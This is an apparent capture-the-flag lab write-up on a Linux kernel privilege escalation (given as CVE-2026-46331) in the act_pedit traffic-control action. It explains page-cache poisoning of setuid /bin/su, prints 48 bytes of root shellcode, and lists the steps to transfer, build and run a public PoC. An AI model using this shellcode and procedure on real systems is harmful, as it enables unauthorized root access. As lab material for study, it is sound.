← Back to Writeups
HTBMediumPentest

Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331)

D3v0o0Nu119/2/20266 min read
#pentest#htb#medium#cve_2026_46331_pedit_cow_page_#page_cache_poisoning_via_sendf#setuid_binary_elf_entry_overwr#shellcode_injection_setuid_exe#unprivileged_user_namespace_ca#cve-2026-46331#linux

Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331)

Platform: Hackviser | Category: Pentest | Type: Machine | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-07-09 | Status: Solved Techniques: cve_2026_46331_pedit_cow_page_cache_corruption, page_cache_poisoning_via_sendfile, setuid_binary_elf_entry_overwrite, shellcode_injection_setuid_execve, unprivileged_user_namespace_cap_net_admin

Summary

Task: Linux kernel LPE via CVE-2026-46331 — act_pedit partial copy-on-write bug in net/sched allows page cache corruption. Solution: exploit pedit COW to overwrite /bin/su ELF entry point in page cache with setuid shellcode, then exec su for root shell.

Walkthrough of the HackTheBox machine Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331) (Linux). Foothold via cve_2026_46331_pedit_cow_page_cache_corruption; privilege escalation to root. Both flags captured and redacted.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackviser | ID: 20260709_hackviser_pedit_cow_cve_2026_46331
  • Tags: act_pedit, copy_on_write, cve_2026_46331, debian, elf_corruption, kernel, linux, netlink, page_cache, privilege_escalation, sendfile, setuid, shellcode, tc_pedit, user_namespace
  • Indicators: act_pedit kernel module loaded (lsmod | grep act_pedit), kernel version in range v5.18 to v7.1-rc6, unprivileged_userns_clone = 1 (user namespaces enabled), setuid-root binary available (/bin/su with -rwsr-xr-x), net/sched traffic control subsystem present
  • Source: 20260709_hackviser_pedit_cow_cve_2026_46331.md

Foothold

Vulnerability / Misconfiguration

  1. cve_2026_46331_pedit_cow_page_cache_corruption
  2. page_cache_poisoning_via_sendfile
  3. setuid_binary_elf_entry_overwrite
  4. shellcode_injection_setuid_execve
  5. unprivileged_user_namespace_cap_net_admin
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
user/home/<user>/user.txtREDACTED
root/root/root.txtREDACTED

Key Takeaways / Lessons

  • cve_2026_46331_pedit_cow_page_cache_corruption
  • page_cache_poisoning_via_sendfile
  • setuid_binary_elf_entry_overwrite
  • shellcode_injection_setuid_execve
  • unprivileged_user_namespace_cap_net_admin
  • Tags: act_pedit, copy_on_write, cve_2026_46331, debian, elf_corruption, kernel, linux, netlink, page_cache, privilege_escalation, sendfile, setuid, shellcode, tc_pedit, user_namespace

Original Writeup

<details><summary>Click to expand original content</summary>

Description

This laboratory demonstrates pedit COW (CVE-2026-46331), a Linux kernel local privilege escalation vulnerability in the traffic-control subsystem. The flaw exists in the act_pedit packet-editing action, where the kernel may calculate the copy-on-write writable range incorrectly before all runtime packet offsets are fully known. Under the right local conditions, this can allow writes into shared page cache memory.

Using the low-privilege credentials (guest/guest), connect to the machine over SSH and escalate to root. Read /root/secret.txt.

Target: 172.20.45.103

English summary: Given SSH access as an unprivileged user (guest/guest) to a Debian 11 box running a vulnerable kernel (6.1.174). The goal is to exploit CVE-2026-46331 in the kernel's act_pedit traffic control module to escalate privileges to root and read /root/secret.txt.

Analysis

Target Reconnaissance

  • OS: Debian 11 (bullseye)
  • Kernel: 6.1.0-0.deb11.49-amd64 (6.1.174) — within the vulnerable range v5.18 .. v7.1-rc6
  • Loaded modules: act_pedit, cls_matchall, cls_basic, sch_ingress — the entire tc (traffic control) stack is present
  • User namespaces: unprivileged_userns_clone = 1 — unprivileged users can create user namespaces
  • Setuid binary: /bin/su is setuid-root (-rwsr-xr-x 1 root root 71912)
  • Build tools: GCC and make available on target
  • Network: No internet access from the box (file transfer must be done via SSH)

Vulnerability: CVE-2026-46331

The vulnerability resides in net/sched/act_pedit.c — the packet-editing tc action. When a pedit action has multiple keys with different header types (e.g., NETWORK + TCP), the kernel calculates the copy-on-write (COW) writable range based on the first key's offset before all runtime packet offsets are resolved.

The critical sequence:

  1. A pedit filter with a NETWORK key that inflates the IP header length (IHL=15) is installed
  2. A subsequent TCP key targets an offset that falls past the stale COW range boundary
  3. When sendfile() places a file's page cache page into an egress skb, the pedit action writes past the COW boundary — directly into the shared page cache page
  4. This corrupts the cached copy of the file without modifying the on-disk data

Exploitation Strategy

The public PoC packet_edit_meme weaponizes this into unprivileged local root via four stages:

  1. Namespace isolation: A child process calls unshare(CLONE_NEWUSER | CLONE_NEWNET) to obtain CAP_NET_ADMIN in a new user+net namespace (requires unprivileged_userns_clone = 1)
  2. Calibration: The child sets up loopback networking and calibrates the file-offset-to-pedit-key-offset delta to achieve precise page cache writes
  3. Page cache corruption: The child opens /bin/su with O_RDONLY and uses sendfile() over a loopback TCP connection with an armed egress pedit filter. This overwrites the ELF entry point in the page cache with shellcode: setgid(0); setuid(0); execve("/bin/sh")
  4. Privilege escalation: The parent process (still in the init user namespace) then calls execve("/bin/su"). The kernel loads the corrupted cached page, the setuid bit grants euid 0, and the shellcode runs as real root

Shellcode (48 bytes)

nasm
xor edi, edi          ; arg0 = 0
mov eax, 106          ; __NR_setgid
syscall
mov eax, 105          ; __NR_setuid
syscall
movabs rbx, "/bin/sh" ; push path
push rbx
mov rdi, rsp          ; argv[0] = "/bin/sh"
push rdx              ; NULL terminator
push rdi              ; argv[0]
mov rsi, rsp          ; argv = {"/bin/sh", NULL}
mov eax, 59           ; __NR_execve
syscall

Solution

Step 1: Connect and Enumerate

bash
ssh guest@172.20.45.103  # password: guest

# Verify kernel version
uname -r
# 6.1.0-0.deb11.49-amd64

# Check act_pedit module
lsmod | grep act_pedit
# act_pedit loaded

# Check user namespace support
cat /proc/sys/kernel/unprivileged_userns_clone
# 1

# Check setuid binary
ls -la /bin/su
# -rwsr-xr-x 1 root root 71912 /bin/su

Step 2: Transfer Exploit Source

Since the target has no internet access, the PoC source files were transferred via base64 encoding over SSH:

bash
# On attacker machine — for each source file:
base64 packet_edit_meme.c | ssh guest@172.20.45.103 'base64 -d > packet_edit_meme.c'
base64 pedit_primitive.c | ssh guest@172.20.45.103 'base64 -d > pedit_primitive.c'
base64 pedit_primitive.h | ssh guest@172.20.45.103 'base64 -d > pedit_primitive.h'
base64 Makefile | ssh guest@172.20.45.103 'base64 -d > Makefile'

Step 3: Compile on Target

bash
make CC=gcc
# Produces static x86_64 ELF binaries: packet_edit_meme, test_cve

Step 4: Run the Exploit

bash
./packet_edit_meme
# [*] target /bin/su as uid 1000; entry at file offset 0x...; shellcode 48 bytes
# [+] su entry overwritten; exec'ing su -> interactive root shell

Step 5: Read the Secret

bash
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/secret.txt
# REDACTED

Key Source Files

FilePurpose
packet_edit_meme.cMain exploit: finds setuid /bin/su, forks child for namespace+corruption, parent exec's su
pedit_primitive.cPage-cache write primitive via tc-pedit (calibration, netlink rtnetlink API, sendfile burst)
pedit_primitive.hAPI: setup() and api_fd_write(fd, offset, src, size) for arbitrary page-cache overwrite
test_cve.cStandalone test to verify if the kernel is vulnerable
</details>

signed by XESXOR